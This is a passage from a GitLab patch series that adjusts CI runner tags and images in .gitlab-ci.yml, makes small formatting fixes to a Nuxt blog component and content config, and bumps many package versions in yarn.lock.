@@ -13,10 +13,7 @@ const { content: post } = defineProps({
 const { authors } = await useAuthors(post.authors ?? []);
 // Temporary commented while we improve pipeline times
 const { data: recentPosts } = await useAsyncData(() =>
-  queryCollection('blogPosts')
-    .where('category', '=', 'Engineering')
-    .order('date', 'DESC')
-    .all()
+  queryCollection('blogPosts').where('category', '=', 'Engineering').order('date', 'DESC').all(),
 );
 
 const crumbs = [{ title: 'Blog', href: '/blog/' }];
diff --git a/content.config.ts b/content.config.ts
index 845633591..32244098e 100644
--- a/content.config.ts
+++ b/content.config.ts
@@ -23,7 +23,7 @@ export default defineContentConfig({
       },
       schema: z.object({
         category: z.string(),
-        date: z.string()
+        date: z.string(),
       }),
     }),
 
-- 
GitLab


From 9d107b7c83ec3a18c74f8b1ac42c5b4f4f965b58 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 11:40:01 -0500
Subject: [PATCH 35/56] comment out image

---
 .gitlab-ci.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 41add9f0f..894b127f7 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -6,8 +6,8 @@ default:
     - saas-macos-large-m2pro
 
 # Specific GCS image for deployment (to be used in deployment jobs)
-.deployment-image:
-  image: google/cloud-sdk:alpine
+# .deployment-image:
+#   image: google/cloud-sdk:alpine
 
 stages:
   - prepare
-- 
GitLab


From cd3a518e81dec9bfc4de050367674696656f8f84 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 11:42:21 -0500
Subject: [PATCH 36/56] Also comment out extends

---
 .gitlab-ci.yml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 894b127f7..31755d0f3 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -187,8 +187,8 @@ check_file_naming:
 # Deployment Stage
 ###################################
 staging-deploy:
-  extends:
-    - .deployment-image
+  # extends:
+  #   - .deployment-image
   stage: deploy
   needs:
     - job: check_file_naming
@@ -214,8 +214,8 @@ production-deploy:
   environment:
     name: production
     url: https://about.gitlab.com
-  extends:
-    - .deployment-image
+  # extends:
+  #   - .deployment-image
   stage: deploy
   needs:
     - job: build
-- 
GitLab


From 976696bc318609e1ed6e50ad45a52d0cbea5d55d Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 11:44:16 -0500
Subject: [PATCH 37/56] remove default image

---
 .gitlab-ci.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 31755d0f3..be54d98eb 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -1,6 +1,6 @@
 # Default GCS image for all jobs
 default:
-  image: node:22.11-slim
+  # image: node:22.11-slim
   interruptible: true
   tags:
     - saas-macos-large-m2pro
-- 
GitLab


From a9a9b46bc49d45436d93658efa1c52dd85df30db Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 12:27:50 -0500
Subject: [PATCH 38/56] Fix build image

---
 .gitlab-ci.yml | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index be54d98eb..3c7b71fea 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -1,13 +1,16 @@
 # Default GCS image for all jobs
 default:
-  # image: node:22.11-slim
+  image: node:22.11-slim
   interruptible: true
   tags:
-    - saas-macos-large-m2pro
+    - saas-linux-xlarge-amd64
+
+.build-image:
+  image: saas-macos-large-m2pro
 
 # Specific GCS image for deployment (to be used in deployment jobs)
-# .deployment-image:
-#   image: google/cloud-sdk:alpine
+.deployment-image:
+  image: google/cloud-sdk:alpine
 
 stages:
   - prepare
@@ -111,6 +114,8 @@ check-duplicate-slugs:
 # Build Stage
 ###################################
 build:
+  extends:
+    - .build-image
   stage: build
   before_script:
     - apt-get update && apt-get install -y --no-install-recommends git sqlite3
@@ -187,8 +192,8 @@ check_file_naming:
 # Deployment Stage
 ###################################
 staging-deploy:
-  # extends:
-  #   - .deployment-image
+  extends:
+    - .deployment-image
   stage: deploy
   needs:
     - job: check_file_naming
@@ -214,8 +219,8 @@ production-deploy:
   environment:
     name: production
     url: https://about.gitlab.com
-  # extends:
-  #   - .deployment-image
+  extends:
+    - .deployment-image
   stage: deploy
   needs:
     - job: build
-- 
GitLab


From 5fe001882846b1e9917b6c2539cc826170bc5c16 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 12:41:41 -0500
Subject: [PATCH 39/56] Tag not image

---
 .gitlab-ci.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 3c7b71fea..c7818c919 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -6,7 +6,7 @@ default:
     - saas-linux-xlarge-amd64
 
 .build-image:
-  image: saas-macos-large-m2pro
+  tags: saas-macos-large-m2pro
 
 # Specific GCS image for deployment (to be used in deployment jobs)
 .deployment-image:
-- 
GitLab


From f4a49a19fbe7bd0e3693b45232db40d17a37020b Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 12:42:49 -0500
Subject: [PATCH 40/56] typo

---
 .gitlab-ci.yml | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index c7818c919..e3539391c 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -6,7 +6,8 @@ default:
     - saas-linux-xlarge-amd64
 
 .build-image:
-  tags: saas-macos-large-m2pro
+  tags: 
+    - saas-macos-large-m2pro
 
 # Specific GCS image for deployment (to be used in deployment jobs)
 .deployment-image:
-- 
GitLab


From 5ba626ac3fa836b3362d3b8fba36f7fa6729115c Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 12:43:44 -0500
Subject: [PATCH 41/56] linting

---
 .gitlab-ci.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index e3539391c..04d5d7010 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -6,7 +6,7 @@ default:
     - saas-linux-xlarge-amd64
 
 .build-image:
-  tags: 
+  tags:
     - saas-macos-large-m2pro
 
 # Specific GCS image for deployment (to be used in deployment jobs)
-- 
GitLab


From ba71ecb19af822707ba211a8d1d5d282cd353dbe Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 12:47:59 -0500
Subject: [PATCH 42/56] Update image as well

---
 .gitlab-ci.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 04d5d7010..f46e73234 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -6,6 +6,7 @@ default:
     - saas-linux-xlarge-amd64
 
 .build-image:
+  image: macos-14-xcode-15
   tags:
     - saas-macos-large-m2pro
 
-- 
GitLab


From ace357611cd47cf1034c639b60d2b89bbaf20c4a Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 12:58:39 -0500
Subject: [PATCH 43/56] include node 22

---
 .gitlab-ci.yml |    2 +-
 yarn.lock      | 1352 +++++++++++++++++++++++++-----------------------
 2 files changed, 716 insertions(+), 638 deletions(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index f46e73234..022950c2d 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -6,7 +6,7 @@ default:
     - saas-linux-xlarge-amd64
 
 .build-image:
-  image: macos-14-xcode-15
+  image: macos-14-xcode-16
   tags:
     - saas-macos-large-m2pro
 
diff --git a/yarn.lock b/yarn.lock
index c9766557f..2ecb2e78f 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -29,15 +29,15 @@
   integrity sha512-Mex9nXf9vR6AhcXmMrlz/HVgYYZpVGJ6YlPgwl7UnaFpnshXs6EK/oa5Gpf3CzENMjkvEx2tQtntGnb7UtSTOQ==
 
 "@apidevtools/json-schema-ref-parser@^11.7.0":
-  version "11.9.2"
-  resolved "https://registry.yarnpkg.com/@apidevtools/json-schema-ref-parser/-/json-schema-ref-parser-11.9.2.tgz#d0b62920158e07f07dd2862c40da45be77ccede0"
-  integrity sha512-q/UMCDNrMV3teJ4oJPgr07qoq7DvZ8B/0Vn1oq7i6NhJuxmIb506pVarKsUPc8GJyk8qP6HSFvOJt6B7CGvFSg==
+  version "11.9.3"
+  resolved "https://registry.yarnpkg.com/@apidevtools/json-schema-ref-parser/-/json-schema-ref-parser-11.9.3.tgz#0e0c9061fc41cf03737d499a4e6a8299fdd2bfa7"
+  integrity sha512-60vepv88RwcJtSHrD6MjIL6Ta3SOYbgfnkHb+ppAVK+o9mXprRtulx7VlRl3lN3bbvysAfCS7WMVfhUYemB0IQ==
   dependencies:
     "@jsdevtools/ono" "^7.1.3"
     "@types/json-schema" "^7.0.15"
     js-yaml "^4.1.0"
 
-"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.12.13", "@babel/code-frame@^7.22.13", "@babel/code-frame@^7.24.7", "@babel/code-frame@^7.26.2":
+"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.12.13", "@babel/code-frame@^7.22.13", "@babel/code-frame@^7.26.2":
   version "7.26.2"
   resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.26.2.tgz#4b5fab97d33338eff916235055f0ebc21e573a85"
   integrity sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==
@@ -122,7 +122,7 @@
     "@babel/traverse" "^7.25.9"
     "@babel/types" "^7.25.9"
 
-"@babel/helper-module-imports@^7.24.7", "@babel/helper-module-imports@^7.25.9":
+"@babel/helper-module-imports@^7.25.9":
   version "7.25.9"
   resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.25.9.tgz#e7f8d20602ebdbf9ebbea0a0751fb0f2a4141715"
   integrity sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==
@@ -146,7 +146,7 @@
   dependencies:
     "@babel/types" "^7.25.9"
 
-"@babel/helper-plugin-utils@^7.10.4", "@babel/helper-plugin-utils@^7.24.8", "@babel/helper-plugin-utils@^7.25.9", "@babel/helper-plugin-utils@^7.26.5":
+"@babel/helper-plugin-utils@^7.10.4", "@babel/helper-plugin-utils@^7.25.9", "@babel/helper-plugin-utils@^7.26.5":
   version "7.26.5"
   resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.26.5.tgz#18580d00c9934117ad719392c4f6585c9333cc35"
   integrity sha512-RS+jZcRdZdRFzMyr+wcsaqOmld1/EqTghfaBGQQd/WnRdzdlvSZ//kF7U8VQTxf1ynZ4cjUcYgjVGx13ewNPMg==
@@ -191,7 +191,7 @@
     "@babel/template" "^7.26.9"
     "@babel/types" "^7.26.9"
 
-"@babel/parser@^7.24.6", "@babel/parser@^7.25.3", "@babel/parser@^7.25.4", "@babel/parser@^7.25.6", "@babel/parser@^7.26.5", "@babel/parser@^7.26.9":
+"@babel/parser@^7.24.6", "@babel/parser@^7.25.3", "@babel/parser@^7.25.4", "@babel/parser@^7.26.5", "@babel/parser@^7.26.9":
   version "7.26.9"
   resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.26.9.tgz#d9e78bee6dc80f9efd8f2349dcfbbcdace280fd5"
   integrity sha512-81NWa1njQblgZbQHxWHpxxCzNsa3ZwvFqpUg7P+NNUU6f3UU2jBEg4OlF/J6rl8+PQGh1q6/zWScd001YwcA5A==
@@ -228,7 +228,7 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
-"@babel/plugin-syntax-jsx@^7.24.7":
+"@babel/plugin-syntax-jsx@^7.25.9":
   version "7.25.9"
   resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.25.9.tgz#a34313a178ea56f1951599b929c1ceacee719290"
   integrity sha512-ld6oezHQMZsZfp6pWtbjaNDF2tiiCYYDqQszHt5VV437lewP9aSi2Of99CK0D0XB21k7FLgnLcmQKyKzynfeAA==
@@ -258,7 +258,7 @@
   resolved "https://registry.yarnpkg.com/@babel/standalone/-/standalone-7.26.9.tgz#7099c70bd5bd54d786e5d97245f4179515aad3e1"
   integrity sha512-UTeQKy0kzJwWRe55kT1uK4G9H6D0lS6G4207hCU/bDaOhA5t2aC0qHN6GmID0Axv3OFLNXm27NdqcWp+BXcGtA==
 
-"@babel/template@^7.25.0", "@babel/template@^7.26.9":
+"@babel/template@^7.26.9":
   version "7.26.9"
   resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.26.9.tgz#4577ad3ddf43d194528cff4e1fa6b232fa609bb2"
   integrity sha512-qyRplbeIpNZhmzOysF/wFMuP9sctmh2cFzRAZOn1YapxBsE1i9bJIY586R/WBLfLcmcBlM8ROBiQURnnNy+zfA==
@@ -267,7 +267,7 @@
     "@babel/parser" "^7.26.9"
     "@babel/types" "^7.26.9"
 
-"@babel/traverse@^7.25.6", "@babel/traverse@^7.25.9", "@babel/traverse@^7.26.5", "@babel/traverse@^7.26.9":
+"@babel/traverse@^7.25.9", "@babel/traverse@^7.26.5", "@babel/traverse@^7.26.9":
   version "7.26.9"
   resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.26.9.tgz#4398f2394ba66d05d988b2ad13c219a2c857461a"
   integrity sha512-ZYW7L+pL8ahU5fXmNbPF+iZFHCv5scFak7MZ9bwaRPLUhHh7QQEMjZUg0HevihoqCM5iSYHN61EyCoZvqC+bxg==
@@ -280,7 +280,7 @@
     debug "^4.3.1"
     globals "^11.1.0"
 
-"@babel/types@^7.25.4", "@babel/types@^7.25.6", "@babel/types@^7.25.9", "@babel/types@^7.26.0", "@babel/types@^7.26.3", "@babel/types@^7.26.5", "@babel/types@^7.26.9":
+"@babel/types@^7.25.4", "@babel/types@^7.25.9", "@babel/types@^7.26.0", "@babel/types@^7.26.3", "@babel/types@^7.26.5", "@babel/types@^7.26.9":
   version "7.26.9"
   resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.26.9.tgz#08b43dec79ee8e682c2ac631c010bdcac54a21ce"
   integrity sha512-Y3IR1cRnOxOCDvMmNiym7XpXQ93iGDDPHx+Zj+NM+rg0fBaShfQLkg+hKPaZCEvg5N/LeCo4+Rj/i3FuJsIQaw==
@@ -746,9 +746,9 @@
   integrity sha512-xeO57FpIu4p1Ri3Jq/EXq4ClRm86dVF2z/+kvFnyqVYRavTZmaFaUBbWCOuuTh0o/g7DSsk6kc2vrS4Vl5oPOQ==
 
 "@iconify-json/carbon@^1.2.5":
-  version "1.2.7"
-  resolved "https://registry.yarnpkg.com/@iconify-json/carbon/-/carbon-1.2.7.tgz#da095eb61af45e50d22c6a5e494e01f04af49f4d"
-  integrity sha512-nqEjicnNdb3CnY21MsTr9DfU8JBkP9C8hup1bCe4zvpLKjcU9YRmYChUbqZYBP4P+BL5NdrprTSN+B7qJg3H3Q==
+  version "1.2.8"
+  resolved "https://registry.yarnpkg.com/@iconify-json/carbon/-/carbon-1.2.8.tgz#fe81b9729f0115448e25d737895d938b23326531"
+  integrity sha512-6xh4YiFBz6qoSnB3XMe23WvjTJroDFXB17J1MbiT7nATFe+70+em1acRXr8hgP/gYpwFMHFc4IvjA/IPTPnTzg==
   dependencies:
     "@iconify/types" "*"
 
@@ -985,7 +985,7 @@
   resolved "https://registry.yarnpkg.com/@kwsites/promise-deferred/-/promise-deferred-1.1.1.tgz#8ace5259254426ccef57f3175bc64ed7095ed919"
   integrity sha512-GaHYm+c0O9MjZRu0ongGBRbinu8gVAMd2UZjji6jVmqKtZluZnptXGWhz1E8j8D2HJ3f/yMxKAUC0b+57wncIw==
 
-"@mapbox/node-pre-gyp@^2.0.0-rc.0":
+"@mapbox/node-pre-gyp@^2.0.0":
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/@mapbox/node-pre-gyp/-/node-pre-gyp-2.0.0.tgz#16d1d9049c0218820da81a12ae084e7fe67790d1"
   integrity sha512-llMXd39jtP0HpQLVI37Bf1m2ADlEb35GYSh1SDSLsBhR+5iCxiNGlT31yqbNtVHygHAtMy6dWFERpU2JgufhPg==
@@ -1020,22 +1020,22 @@
     "@rollup/pluginutils" "^5.1.0"
     json5 "^2.2.3"
 
-"@netlify/functions@^2.8.2":
-  version "2.8.2"
-  resolved "https://registry.yarnpkg.com/@netlify/functions/-/functions-2.8.2.tgz#653395b901a74a6189e913a089f9cb90083ca6ce"
-  integrity sha512-DeoAQh8LuNPvBE4qsKlezjKj0PyXDryOFJfJKo3Z1qZLKzQ21sT314KQKPVjfvw6knqijj+IO+0kHXy/TJiqNA==
+"@netlify/functions@3.0.0":
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/@netlify/functions/-/functions-3.0.0.tgz#e14ab9bcfa9f8ba1fe8d7ae0938122da5ae6555e"
+  integrity sha512-XXf9mNw4+fkxUzukDpJtzc32bl1+YlXZwEhc5ZgMcTbJPLpgRLDs5WWSPJ4eY/Mv1ZFvtxmMwmfgoQYVt68Qog==
   dependencies:
-    "@netlify/serverless-functions-api" "1.26.1"
+    "@netlify/serverless-functions-api" "1.30.1"
 
 "@netlify/node-cookies@^0.1.0":
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/@netlify/node-cookies/-/node-cookies-0.1.0.tgz#dda912ba618527695cf519fafa221c5e6777c612"
   integrity sha512-OAs1xG+FfLX0LoRASpqzVntVV/RpYkgpI0VrUnw2u0Q1qiZUzcPffxRK8HF3gc4GjuhG5ahOEMJ9bswBiZPq0g==
 
-"@netlify/serverless-functions-api@1.26.1":
-  version "1.26.1"
-  resolved "https://registry.yarnpkg.com/@netlify/serverless-functions-api/-/serverless-functions-api-1.26.1.tgz#6d2792a7fdbb3a6b852c219e4fb13622b30a9ec5"
-  integrity sha512-q3L9i3HoNfz0SGpTIS4zTcKBbRkxzCRpd169eyiTuk3IwcPC3/85mzLHranlKo2b+HYT0gu37YxGB45aD8A3Tw==
+"@netlify/serverless-functions-api@1.30.1":
+  version "1.30.1"
+  resolved "https://registry.yarnpkg.com/@netlify/serverless-functions-api/-/serverless-functions-api-1.30.1.tgz#d076a3a8b95c11d455277434cfd47e85ba1f2ef0"
+  integrity sha512-JkbaWFeydQdeDHz1mAy4rw+E3bl9YtbCgkntfTxq+IlNX/aIMv2/b1kZnQZcil4/sPoZGL831Dq6E374qRpU1A==
   dependencies:
     "@netlify/node-cookies" "^0.1.0"
     urlpattern-polyfill "8.0.2"
@@ -1253,28 +1253,28 @@
     which "^5.0.0"
 
 "@nuxt/cli@^3.21.1":
-  version "3.22.2"
-  resolved "https://registry.yarnpkg.com/@nuxt/cli/-/cli-3.22.2.tgz#4f1c702800da8103b1fcb34747d66dcfb2ddc0a4"
-  integrity sha512-Xtu3Loe3fVLvOE1/NC/SrE6Buu7Aj6qrnu3hewAfamUyZ7mVUBOsJ5ScUhofSK2L6muGPvS3R1PisuJMFbdexg==
+  version "3.22.4"
+  resolved "https://registry.yarnpkg.com/@nuxt/cli/-/cli-3.22.4.tgz#8664378ec5996eefa9e5c27c810315e6c318b74f"
+  integrity sha512-y4XsphSpnvFOF7OGrCEHJaI8gp47APWNK7mRbzWMl/xvO9VpKeP9BWuktKNUdZSp4xisy3+8/5v3LPorJmq35w==
   dependencies:
-    c12 "^2.0.2"
+    c12 "^3.0.2"
     chokidar "^4.0.3"
     citty "^0.1.6"
     clipboardy "^4.0.0"
     consola "^3.4.0"
     defu "^6.1.4"
     fuse.js "^7.1.0"
-    giget "^1.2.4"
-    h3 "^1.15.0"
+    giget "^2.0.0"
+    h3 "^1.15.1"
     httpxy "^0.1.7"
     jiti "^2.4.2"
     listhen "^1.9.0"
-    nypm "^0.5.2"
+    nypm "^0.6.0"
     ofetch "^1.4.1"
-    ohash "^2.0.2"
+    ohash "^2.0.9"
     pathe "^2.0.3"
     perfect-debounce "^1.0.0"
-    pkg-types "^1.3.1"
+    pkg-types "^2.0.1"
     scule "^1.3.0"
     semver "^7.7.1"
     std-env "^3.8.0"
@@ -1282,20 +1282,20 @@
     ufo "^1.5.4"
 
 "@nuxt/content@^3.2.2":
-  version "3.2.2"
-  resolved "https://registry.yarnpkg.com/@nuxt/content/-/content-3.2.2.tgz#d43e427b96253630dbebbe14f02f216f062a89b9"
-  integrity sha512-ug3UadxHTXXfaQpgBAA3OkrLidjxDi4XdLRjeoFfGhx2sWT77YzbytEWYA2VkxtqkZ9y4BzCs9xfum9m1/AcKg==
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/@nuxt/content/-/content-3.3.0.tgz#08b5fab60e9b9f97ca341260497fd4f04299fa88"
+  integrity sha512-bAcUAohd04pJA7jIsnQCyx5sp5UlOPuzIXit0FRGrQG3IAoTTZ266ijSDo7gdnqwHsgRYCdb0CfoP8otMfT6Nw==
   dependencies:
     "@nuxt/kit" "^3.15.4"
-    "@nuxtjs/mdc" "^0.13.5"
-    "@shikijs/langs" "^2.5.0"
-    "@sqlite.org/sqlite-wasm" "3.49.0-build3"
+    "@nuxtjs/mdc" "^0.15.0"
+    "@shikijs/langs" "^3.1.0"
+    "@sqlite.org/sqlite-wasm" "3.49.1-build2"
     "@webcontainer/env" "^1.1.1"
     better-sqlite3 "^11.8.1"
     c12 "^2.0.4"
     chokidar "^4.0.3"
     consola "^3.4.0"
-    db0 "^0.2.4"
+    db0 "^0.3.1"
     defu "^6.1.4"
     destr "^2.0.3"
     fast-glob "^3.3.3"
@@ -1319,7 +1319,7 @@
     pkg-types "^1.3.1"
     remark-mdc latest
     scule "^1.3.0"
-    shiki "^2.5.0"
+    shiki "^3.1.0"
     slugify "^1.6.6"
     socket.io-client "^4.8.1"
     tar "^7.4.3"
@@ -1346,7 +1346,7 @@
     "@nuxt/schema" "^3.15.0"
     execa "^7.2.0"
 
-"@nuxt/devtools-kit@2.1.0", "@nuxt/devtools-kit@^2.1.0":
+"@nuxt/devtools-kit@2.1.0":
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/@nuxt/devtools-kit/-/devtools-kit-2.1.0.tgz#34826af8c88de9ff918473b5f22262855c2a0e21"
   integrity sha512-1fhwU7dDq/vIpjpNRwjEmTllRT1O0nzyBEhY187bQ8xBpoCC93t3zG3iTKcl8XkpT1aK9SqcgmXOnj5fNIAaYA==
@@ -1355,6 +1355,24 @@
     "@nuxt/schema" "^3.15.4"
     execa "^9.5.2"
 
+"@nuxt/devtools-kit@2.1.3":
+  version "2.1.3"
+  resolved "https://registry.yarnpkg.com/@nuxt/devtools-kit/-/devtools-kit-2.1.3.tgz#a5209c98d8493c87b27d4358a82bea7c841b1dfa"
+  integrity sha512-OlLo8LZTp71Wi9q0ooE1bYeS5P7P1sU3JUb+zqJRX6/jMQa2QP06hc6TOz/5AIsEOq8YPQTum4oJ9gpHx53B0g==
+  dependencies:
+    "@nuxt/kit" "^3.15.4"
+    "@nuxt/schema" "^3.15.4"
+    execa "^9.5.2"
+
+"@nuxt/devtools-kit@^2.1.0":
+  version "2.2.1"
+  resolved "https://registry.yarnpkg.com/@nuxt/devtools-kit/-/devtools-kit-2.2.1.tgz#82628306ce143e601c61b8d3d91c2b1a884970f9"
+  integrity sha512-6txRZPOs+YmiuqjaqZy0rls0CjcmNaJPMITZsLS3hTfKAsKOEMslPjgr0jnf4fpFujmkxFZc10txYlG24JZCAA==
+  dependencies:
+    "@nuxt/kit" "^3.15.4"
+    "@nuxt/schema" "^3.15.4"
+    execa "^9.5.2"
+
 "@nuxt/devtools-ui-kit@^1.5.1":
   version "1.7.0"
   resolved "https://registry.yarnpkg.com/@nuxt/devtools-ui-kit/-/devtools-ui-kit-1.7.0.tgz#592a77f848cfa86fdfd9edfda69b1a6a73875abe"
@@ -1532,7 +1550,7 @@
   optionalDependencies:
     ipx "^2.1.0"
 
-"@nuxt/kit@3.15.4", "@nuxt/kit@^3.13.1", "@nuxt/kit@^3.13.2", "@nuxt/kit@^3.14.1592", "@nuxt/kit@^3.15.0", "@nuxt/kit@^3.15.1", "@nuxt/kit@^3.15.2", "@nuxt/kit@^3.15.4":
+"@nuxt/kit@3.15.4", "@nuxt/kit@^3.13.1", "@nuxt/kit@^3.13.2", "@nuxt/kit@^3.14.1592", "@nuxt/kit@^3.15.0", "@nuxt/kit@^3.15.1", "@nuxt/kit@^3.15.4":
   version "3.15.4"
   resolved "https://registry.yarnpkg.com/@nuxt/kit/-/kit-3.15.4.tgz#122f511e518573320a035b5e24adf0118d51485d"
   integrity sha512-dr7I7eZOoRLl4uxdxeL2dQsH0OrbEiVPIyBHnBpA4co24CBnoJoF+JINuP9l3PAM3IhUzc5JIVq3/YY3lEc3Hw==
@@ -1701,13 +1719,13 @@
     vue-i18n "^10.0.5"
     vue-router "^4.5.0"
 
-"@nuxtjs/mdc@^0.13.5":
-  version "0.13.5"
-  resolved "https://registry.yarnpkg.com/@nuxtjs/mdc/-/mdc-0.13.5.tgz#9ed9d185f7c0551717c346c43425fcc243dd7d74"
-  integrity sha512-bbToK+RByIKdg0bO1k5ApMn3zuBzXqRNOKGGIA4HiHTZAPpHnSHjmKRP+2qKbdth+QJ/vyBj3cHQTlMT5onxsg==
+"@nuxtjs/mdc@^0.15.0":
+  version "0.15.0"
+  resolved "https://registry.yarnpkg.com/@nuxtjs/mdc/-/mdc-0.15.0.tgz#fabdc8ba0febe2c843197efbc1e39b05d55e2d26"
+  integrity sha512-xdYEu+FmUZpKQzDS35peX9hF36oxvD4zx9lTJq6RPh/vgJuLSohUIUVLtNxM7m8cY/pTh41qaO3pOvKz0Xq3sg==
   dependencies:
-    "@nuxt/kit" "^3.15.2"
-    "@shikijs/transformers" "^1.27.2"
+    "@nuxt/kit" "^3.15.4"
+    "@shikijs/transformers" "^3.0.0"
     "@types/hast" "^3.0.4"
     "@types/mdast" "^4.0.4"
     "@vue/compiler-core" "^3.5.13"
@@ -1718,13 +1736,13 @@
     detab "^3.0.2"
     github-slugger "^2.0.0"
     hast-util-format "^1.1.0"
-    hast-util-to-mdast "^10.1.1"
+    hast-util-to-mdast "^10.1.2"
     hast-util-to-string "^3.0.1"
     mdast-util-to-hast "^13.2.0"
     micromark-util-sanitize-uri "^2.0.1"
     ohash "^1.1.4"
     parse5 "^7.2.1"
-    pathe "^2.0.2"
+    pathe "^2.0.3"
     property-information "^6.5.0"
     rehype-external-links "^3.0.0"
     rehype-minify-whitespace "^6.0.2"
@@ -1734,13 +1752,13 @@
     rehype-sort-attribute-values "^5.0.1"
     rehype-sort-attributes "^5.0.1"
     remark-emoji "^5.0.1"
-    remark-gfm "^4.0.0"
-    remark-mdc "^3.5.2"
+    remark-gfm "^4.0.1"
+    remark-mdc "^3.5.3"
     remark-parse "^11.0.0"
     remark-rehype "^11.1.1"
     remark-stringify "^11.0.0"
     scule "^1.3.0"
-    shiki "^1.27.2"
+    shiki "^3.0.0"
     ufo "^1.5.4"
     unified "^11.0.5"
     unist-builder "^4.0.0"
@@ -1749,18 +1767,18 @@
     vfile "^6.0.3"
 
 "@nuxtjs/robots@^5.2.4":
-  version "5.2.4"
-  resolved "https://registry.yarnpkg.com/@nuxtjs/robots/-/robots-5.2.4.tgz#915ec1471c5946a4aaa3a8446c7391ef1c7010ca"
-  integrity sha512-B/JPb1TKcL4WutyMyavTCU5bQ5mOC8VmJh47680kGZ/w11M7hk8FGfUmOkl4YeOkQvFw+tVrggWdvwiIA+F3gg==
+  version "5.2.5"
+  resolved "https://registry.yarnpkg.com/@nuxtjs/robots/-/robots-5.2.5.tgz#69ae46c09f3ce5a271752ed74b866d7d234b2657"
+  integrity sha512-bV22s2HfdOkRKOhjvb48Mp7bZf+QlvGFIjkBbTBbo3Vkolv7LLu3doupf/5CYfAWfK1zrXuEOpRlZcr6L3baaQ==
   dependencies:
     "@nuxt/kit" "^3.15.4"
     consola "^3.4.0"
     defu "^6.1.4"
-    nuxt-site-config "^3.1.0"
+    nuxt-site-config "^3.1.3"
     pathe "^2.0.3"
-    pkg-types "^1.3.1"
+    pkg-types "^2.1.0"
     sirv "^3.0.1"
-    std-env "^3.8.0"
+    std-env "^3.8.1"
     ufo "^1.5.4"
 
 "@nuxtjs/seo@^2.1.1":
@@ -2019,6 +2037,27 @@
   resolved "https://registry.yarnpkg.com/@polka/url/-/url-1.0.0-next.28.tgz#d45e01c4a56f143ee69c54dd6b12eade9e270a73"
   integrity sha512-8LduaNlMZGwdZ6qWrKlfa+2M4gahzFkprZiAt2TF8uS0qQgBizKXpXURqvTJ4WtmupWxaLqjRb2UCTe72mu+Aw==
 
+"@poppinss/colors@^4.1.4":
+  version "4.1.4"
+  resolved "https://registry.yarnpkg.com/@poppinss/colors/-/colors-4.1.4.tgz#ba0188a0ad3d249175f7291f9a051eba74ed180e"
